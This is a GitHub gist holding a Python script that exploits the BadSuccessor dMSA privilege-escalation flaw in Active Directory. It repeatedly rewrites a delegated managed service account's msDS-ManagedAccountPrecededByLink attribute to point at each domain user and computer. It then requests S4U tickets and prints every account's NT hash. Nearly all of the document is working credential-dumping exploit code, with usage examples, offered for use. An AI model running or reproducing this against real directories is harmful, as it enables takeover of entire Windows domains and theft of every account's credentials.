Last active
          October 27, 2025 16:42 
        
      - 
      
- 
        Save ThePirateWhoSmellsOfSunflowers/912c5728bde1a7eba4bc99ff06b3f73c to your computer and use it in GitHub Desktop. 
    This script retrieves NT hashes of all domain users and computers using a dMSA
  
        
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | import argparse | |
| import datetime | |
| import logging | |
| import os | |
| import random | |
| import struct | |
| import sys | |
| from binascii import hexlify, unhexlify | |
| from six import ensure_binary | |
| from pyasn1.codec.der import decoder, encoder | |
| from pyasn1.type.univ import noValue | |
| from pyasn1.type import tag | |
| from impacket.krb5 import constants | |
| from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ | |
| Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, S4UUserID, PA_S4U_X509_USER, KERB_DMSA_KEY_PACKAGE | |
| from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype | |
| from impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers | |
| from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive | |
| from impacket.krb5.types import Principal, KerberosTime, Ticket | |
| from impacket.winregistry import hexdump | |
| from ldap3 import MODIFY_REPLACE | |
| from pywerview.functions.net import NetRequester | |
| # This script retrieves NT hashes of all domain users and computers using a dMSA | |
| # It uses the Bad Successor vulnerability, found by Yuval Gordon (@YuG0rd) from Akamai | |
| # https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory | |
| # | |
| # I took the domain dumper idea from this tweet by @snovvcrash | |
| # https://x.com/snovvcrash/status/1927516963623821733 | |
| # | |
| # The doDMSA() function is based on the excellent work by fulc2um (you need their pull request to run this script) | |
| # https://github.com/fortra/impacket/pull/2010 | |
| # | |
| # Usage: | |
| # python badsuccessordumper.py -u daenerys.targaryen --hashes $NTHASH --aes $AESKEY -d essos.local -t 192.168.56.24 -i 'dmsa_essos$' | |
| # python badsuccessordumper.py -u daenerys.targaryen -p 'BurnThemAll!' -d essos.local -t 192.168.56.24 -i dmsa_essos$ | |
| # python badsuccessordumper.py -u daenerys.targaryen --hashes 34534854d33b398b66684072224bb47a -d essos.local -t 192.168.56.24 -i dmsa_essos$ | |
| # The last one is prone to error while asking for the TGT if RC4 is not suported by the DC | |
| # | |
| # Not tested in prod, use at your own risk | |
| # | |
| # @lowercase_drm / ThePirateWhoSmellsOfSunflowers | |
| def doDMSA(tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, domain, impersonate): | |
| decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] | |
| # Extract the ticket from the TGT | |
| ticket = Ticket() | |
| ticket.from_asn1(decodedTGT['ticket']) | |
| apReq = AP_REQ() | |
| apReq['pvno'] = 5 | |
| apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) | |
| opts = list() | |
| apReq['ap-options'] = constants.encodeFlags(opts) | |
| seq_set(apReq, 'ticket', ticket.to_asn1) | |
| authenticator = Authenticator() | |
| authenticator['authenticator-vno'] = 5 | |
| authenticator['crealm'] = str(decodedTGT['crealm']) | |
| clientName = Principal() | |
| clientName.from_asn1(decodedTGT, 'crealm', 'cname') | |
| seq_set(authenticator, 'cname', clientName.components_to_asn1) | |
| now = datetime.datetime.now(datetime.timezone.utc) | |
| authenticator['cusec'] = now.microsecond | |
| authenticator['ctime'] = KerberosTime.to_asn1(now) | |
| encodedAuthenticator = encoder.encode(authenticator) | |
| # Key Usage 7 | |
| # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes | |
| # TGS authenticator subkey), encrypted with the TGS session | |
| # key (Section 5.5.1) | |
| encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) | |
| apReq['authenticator'] = noValue | |
| apReq['authenticator']['etype'] = cipher.enctype | |
| apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator | |
| encodedApReq = encoder.encode(apReq) | |
| tgsReq = TGS_REQ() | |
| tgsReq['pvno'] = 5 | |
| tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) | |
| tgsReq['padata'] = noValue | |
| tgsReq['padata'][0] = noValue | |
| tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) | |
| tgsReq['padata'][0]['padata-value'] = encodedApReq | |
| # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service | |
| # requests a service ticket to itself on behalf of a user. The user is | |
| # identified to the KDC by the user's name and realm. | |
| clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) | |
| paencoded = None | |
| padatatype = None | |
| dmsa = True | |
| nonce_value = random.getrandbits(31) | |
| dmsa_flags = [2, 4] # UNCONDITIONAL_DELEGATION (bit 2) | SIGN_REPLY (bit 4) | |
| encoded_flags = encodeFlags(dmsa_flags) | |
| s4uID = S4UUserID() | |
| s4uID.setComponentByName('nonce', nonce_value) | |
| seq_set(s4uID, 'cname', clientName.components_to_asn1) | |
| s4uID.setComponentByName('crealm', domain) | |
| s4uID.setComponentByName('options', encoded_flags) | |
| encoded_s4uid = encoder.encode(s4uID) | |
| checksum_profile = _get_checksum_profile(Cksumtype.SHA1_AES256) | |
| checkSum = checksum_profile.checksum( | |
| sessionKey, | |
| ApplicationTagNumbers.EncTGSRepPart.value, | |
| encoded_s4uid | |
| ) | |
| s4uID_tagged = S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0)) | |
| s4uID_tagged.setComponentByName('nonce', nonce_value) | |
| seq_set(s4uID_tagged, 'cname', clientName.components_to_asn1) | |
| s4uID_tagged.setComponentByName('crealm', domain) | |
| s4uID_tagged.setComponentByName('options', encoded_flags) | |
| pa_s4u_x509_user = PA_S4U_X509_USER() | |
| pa_s4u_x509_user.setComponentByName('user-id', s4uID_tagged) | |
| pa_s4u_x509_user['checksum'] = noValue | |
| pa_s4u_x509_user['checksum']['cksumtype'] = Cksumtype.SHA1_AES256 | |
| pa_s4u_x509_user['checksum']['checksum'] = checkSum | |
| padatatype = int(constants.PreAuthenticationDataTypes.PA_S4U_X509_USER.value) | |
| paencoded = encoder.encode(pa_s4u_x509_user) | |
| tgsReq['padata'][1] = noValue | |
| tgsReq['padata'][1]['padata-type'] = padatatype | |
| tgsReq['padata'][1]['padata-value'] = paencoded | |
| reqBody = seq_set(tgsReq, 'req-body') | |
| opts = list() | |
| opts.append(constants.KDCOptions.forwardable.value) | |
| opts.append(constants.KDCOptions.renewable.value) | |
| opts.append(constants.KDCOptions.canonicalize.value) | |
| reqBody['kdc-options'] = constants.encodeFlags(opts) | |
| serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_SRV_INST.value) | |
| seq_set(reqBody, 'sname', serverName.components_to_asn1) | |
| reqBody['realm'] = str(decodedTGT['crealm']) | |
| now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1) | |
| reqBody['till'] = KerberosTime.to_asn1(now) | |
| reqBody['nonce'] = random.getrandbits(31) | |
| seq_set_iter(reqBody, 'etype', | |
| (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) | |
| message = encoder.encode(tgsReq) | |
| r = sendReceive(message, domain, kdcHost) | |
| tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] | |
| try: | |
| # Decrypt TGS-REP enc-part (Key Usage 8 - TGS_REP_EP_SESSION_KEY) | |
| cipher = _enctype_table[int(tgs['enc-part']['etype'])] | |
| plainText = cipher.decrypt(sessionKey, 8, tgs['enc-part']['cipher']) | |
| encTgsRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] | |
| if 'encrypted_pa_data' not in encTgsRepPart or not encTgsRepPart['encrypted_pa_data']: | |
| logging.debug('No encrypted_pa_data found - DMSA key package not present') | |
| return | |
| for padata_entry in encTgsRepPart['encrypted_pa_data']: | |
| padata_type = int(padata_entry['padata-type']) | |
| logging.debug('Found encrypted padata type: %d (0x%x)' % (padata_type, padata_type)) | |
| if padata_type == constants.PreAuthenticationDataTypes.KERB_DMSA_KEY_PACKAGE.value: | |
| dmsa_key_package = decoder.decode( | |
| padata_entry['padata-value'], | |
| asn1Spec=KERB_DMSA_KEY_PACKAGE() | |
| )[0] | |
| dmsa_key_package.prettyPrint() | |
| logging.info('Current keys:') | |
| for key in dmsa_key_package['current-keys']: | |
| key_type = int(key['keytype']) | |
| key_value = bytes(key['keyvalue']) | |
| type_name = constants.EncryptionTypes(key_type) | |
| hex_key = hexlify(key_value).decode('utf-8') | |
| logging.info('%s:%s' % (type_name, hex_key)) | |
| logging.info('Previous keys:') | |
| previous_keys = [] | |
| for key in dmsa_key_package['previous-keys']: | |
| key_type = int(key['keytype']) | |
| key_value = bytes(key['keyvalue']) | |
| type_name = constants.EncryptionTypes(key_type) | |
| hex_key = hexlify(key_value).decode('utf-8') | |
| logging.info('%s:%s' % (type_name, hex_key)) | |
| previous_keys.append({type_name : hex_key}) | |
| except Exception as e: | |
| import traceback | |
| traceback.print_exc() | |
| return r, None, sessionKey, None, previous_keys | |
| def argparser(argv): | |
| arg_parser = argparse.ArgumentParser(prog='badsuccessordumper.py', description='\n Domain dumper based on the Bad Successor vulnerability') | |
| arg_parser.add_argument('-u', '--user', required=True, help='User that owns the dMSA') | |
| arg_parser.add_argument('-p', '--password', required=False, help='Password for the user that owns the dMSA') | |
| arg_parser.add_argument('-d', '--domain', required=True, dest='domain', help='User domain') | |
| arg_parser.add_argument('-i', '--impersonnate', required=True, dest='dmsa', help='dMSA samaacountname') | |
| arg_parser.add_argument('--hashes', required=False, action='store', metavar = 'LMHASH:NTHASH', help='NTLM hashes, format is [LMHASH:]NTHASH') | |
| arg_parser.add_argument('--aes', required=False, action='store', help='AES key') | |
| arg_parser.add_argument('-t', '--dc-ip', dest='domain_controller', help='IP address of the Domain Controller to target') | |
| arg_parser.add_argument('--debug', action="store_true", help='Debug mode') | |
| args = arg_parser.parse_args(argv) | |
| if args.hashes: | |
| try: | |
| args.lmhash, args.nthash = args.hashes.split(':') | |
| except ValueError: | |
| args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes | |
| finally: | |
| args.password = str() | |
| else: | |
| args.lmhash = args.nthash = str() | |
| if args.password is None and not args.hashes: | |
| from getpass import getpass | |
| args.password = getpass('Password:') | |
| return args | |
| args = argparser(sys.argv[1:]) | |
| host=args.domain_controller | |
| user = args.user | |
| domain = args.domain | |
| password = args.password | |
| lmhash = args.lmhash | |
| nthash = args.nthash | |
| dmsa = args.dmsa | |
| debugprint = print if args.debug else lambda *a, **k: None | |
| kdcHost = host | |
| aesKey = args.aes | |
| attributes = ['distinguishedname', 'samaccountname'] | |
| ldap_dmsa_custom_filter = '(&(objectclass=msDS-DelegatedManagedServiceAccount)(samaccountname={}))' | |
| # As you may know, I love pywerview | |
| netrequester = NetRequester(host, domain, user, password, lmhash, nthash) | |
| ldap_dmsa_custom_filter = ldap_dmsa_custom_filter.format(dmsa) | |
| dmsa_raw = netrequester.get_adobject(attributes=attributes, custom_filter=ldap_dmsa_custom_filter) | |
| try: | |
| dmsa_dn = dmsa_raw[0].distinguishedname | |
| debugprint('[-] {0} distinguished name is {1}'.format(dmsa, dmsa_dn)) | |
| except IndexError: | |
| print('[x] dMSA account not found or {} is not allowed to retrieve it!'.format(user)) | |
| sys.exit(1) | |
| raw_user = netrequester.get_netuser(attributes=attributes) | |
| raw_computer = netrequester.get_netcomputer(attributes=attributes) | |
| debugprint('[-] It will dump {0} users and {1} computers'.format(len(raw_user), len(raw_computer))) | |
| # Caution: PTH may raise KDC_ERR_ETYPE_NOSUPP while getting TGT | |
| if aesKey: | |
| lmhash = nthash = str() | |
| user_principal = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) | |
| tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(user_principal, password, domain, unhexlify(lmhash), unhexlify(nthash), aesKey, kdcHost) | |
| targets = raw_user + raw_computer | |
| for target in targets: | |
| netrequester._ldap_connection.modify(dmsa_dn, {'msDS-ManagedAccountPrecededByLink': [(MODIFY_REPLACE, [target.distinguishedname])]}) | |
| tgs, rcipher, oldSessionKey, sessionKey, previous_keys = doDMSA(tgt, cipher, oldSessionKey, sessionKey, unhexlify(nthash), aesKey, kdcHost, domain, dmsa) | |
| sessionKey = oldSessionKey | |
| for key in previous_keys: | |
| try: | |
| print("{0}\\{1}:{2}".format(domain, target.samaccountname, key[constants.EncryptionTypes.rc4_hmac])) | |
| break | |
| except: | |
| # Computer accounts have also AES in the previous keys array, ignoring them for now | |
| pass | 
  
    Sign up for free
    to join this conversation on GitHub.
    Already have an account?
    Sign in to comment